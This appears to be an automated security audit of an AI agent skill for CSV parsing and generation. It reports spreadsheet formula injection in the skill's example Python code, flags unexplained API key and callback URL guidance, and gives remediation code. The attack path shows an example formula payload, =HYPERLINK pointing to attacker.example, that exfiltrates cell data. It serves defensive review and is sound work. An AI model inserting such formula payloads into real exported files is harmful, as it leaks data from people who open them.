Back to skill

Security audit

CSV解析与生成

Security checks for vulnerabilities and agentic risk

Overview

This CSV helper is mostly a documentation-only local file tool, but it asks users to think about API keys, callbacks, and remote calls that do not fit the stated CSV purpose.

Review this skill before installing. It appears to be a local CSV documentation helper, not an implemented network client. Do not provide API keys, callback URLs, or network permissions for ordinary CSV work unless the publisher separately documents a real remote service, allowed destinations, and data handling controls. Also treat generated CSV examples as syntax examples only; add spreadsheet formula neutralization before exporting untrusted data for Excel or similar tools.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (1)

T09 · Insecure Skill Coding Practices

Warning
Location
SKILL.md:147
Finding

Spreadsheet Formula Injection in Generated CSV Files

Content
View full analysis

Vulnerability Details

File Location: SKILL.md, lines 147–151
Vulnerability Type: Spreadsheet formula injection caused by unsanitized CSV output
Risk Level: Medium

Vulnerable Code

python
with open('output.csv', mode='w', encoding='utf-8', newline='') as csvfile:
    # Create CSV writer
    writer = csv.writer(csvfile)
    # Write data
    writer.writerows(data)

A second output example at lines 332–338 has the same underlying issue:

python
with open('output.csv', mode='w', newline='') as csvfile:
    fieldnames = ['Column1', 'Column2', 'Column3']
    writer = csv.DictWriter(csvfile, fieldnames=fieldnames)

    writer.writeheader()
    for row in data:
        writer.writerow(row)

Technical Analysis

The examples write field values directly to CSV without applying spreadsheet-specific formula neutralization. Python's csv module correctly escapes CSV syntax, but RFC 4180 quoting does not prevent spreadsheet applications from interpreting cells as formulas.

If an attacker controls a field beginning with a formula indicator such as =, +, -, or @, the value may be evaluated when the resulting file is opened in Excel or another compatible spreadsheet application. Tab and carriage-return prefixes may also bypass simplistic validation in some spreadsheet import paths.

This contradicts the document's claim at lines 48 and 296 that Excel formula injection is handled. No implementation of that protection appears in either demonstrated write path.

Attack Path

  1. An attacker supplies data that will be included in generated CSV output.

  2. A controlled field contains a spreadsheet formula, for example:

    text
    =HYPERLINK("https://attacker.example/?data="&A1,"Open")
    
  3. The skill passes that value unchanged to writer.writerows() or writer.writerow().

  4. Python produces syntactically valid CSV, but the dangerous formula remains intact. 5 ...[truncated 1230 chars]

Remediation
View remediation

Remediation Suggestions

  1. Apply spreadsheet-specific validation to every untrusted string field before writing it. At minimum, detect values whose first effective character is =, +, -, @, tab, or carriage return.

  2. Neutralize dangerous values according to the target spreadsheet application's documented import behavior. A common approach is to prefix the value with an apostrophe, although the exact policy should be verified for all supported applications.

  3. Do not rely on CSV quoting as a security control; quoting protects CSV structure, not spreadsheet formula interpretation.

  4. Make protection configurable when strict data fidelity is required, and clearly warn callers when raw mode is selected.

  5. Add tests for every dangerous prefix, leading whitespace or control-character bypasses, quoted formulas, Unicode edge cases, and both csv.writer and csv.DictWriter.

  6. Update the examples so all output paths use a shared sanitization function, such as:

    python
    DANGEROUS_PREFIXES = ("=", "+", "-", "@", "\t", "\r")
    
    def neutralize_spreadsheet_formula(value):
        if isinstance(value, str) and value.startswith(DANGEROUS_PREFIXES):
            return "'" + value
        return value
    
    safe_data = [
        [neutralize_spreadsheet_formula(value) for value in row]
        for row in data
    ]
    
    with open("output.csv", mode="w", encoding="utf-8", newline="") as csvfile:
        writer = csv.writer(csvfile)
        writer.writerows(safe_data)
    
  7. Clarify in the documentation that formula neutralization is distinct from RFC 4180 compliance and must occur before CSV serialization.

Vulnerability Patterns
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
Findings (5)

Context-Inappropriate Capability

Medium
Category
Not specified by scanner
Confidence
89% confidence
Finding

Declaring a callback_url for a CSV utility introduces an outbound communication channel that is unrelated to basic file parsing or generation. If implemented, it could enable unintended exfiltration of processed data, metadata, or execution results to attacker-controlled endpoints under the guise of normal skill behavior.

Content

No source excerpt is available for this finding.

Description-Behavior Mismatch

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

The skill is presented as a local CSV parsing/generation utility, but the documentation introduces API connections, authentication, rate limiting, callback URLs, and remote interface invocation. This unnecessary expansion of scope increases the attack surface and can mislead operators into granting network access, secrets, or execution privileges that are not required for CSV processing.

Content

No source excerpt is available for this finding.

Context-Inappropriate Capability

Medium
Category
Not specified by scanner
Confidence
96% confidence
Finding

The documentation discusses API keys, authentication failures, rate limiting, and interface calls despite the skill being framed as a local data-format tool. This mismatch can normalize unnecessary credential handling and network permissions, creating opportunities for secret exposure or over-privileged deployment.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
94% confidence
Finding

The example sets locale.setlocale(locale.LC_ALL, 'en_US.UTF-8'), which hard-codes a specific language/locale choice in natural-language-facing guidance. The file does not offer an opt-in, fallback, or explain that this locale is merely an example, so it can conflict with organizational language/locale choice policies.

Content

No source excerpt is available for this finding.

Intent-Code Divergence

Low
Category
Not specified by scanner
Confidence
77% confidence
Finding

安全声明围绕API Key保管、加密传输和依赖漏洞展开,暗示该技能会处理外部认证和网络通信;但前文对技能意图的描述却定位为CSV格式解析与生成。虽然不是逐行代码矛盾,但文档中的安全与运行叙述将技能实际意图从本地格式工具转向了联网API客户端,形成文档层面的意图偏移。

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.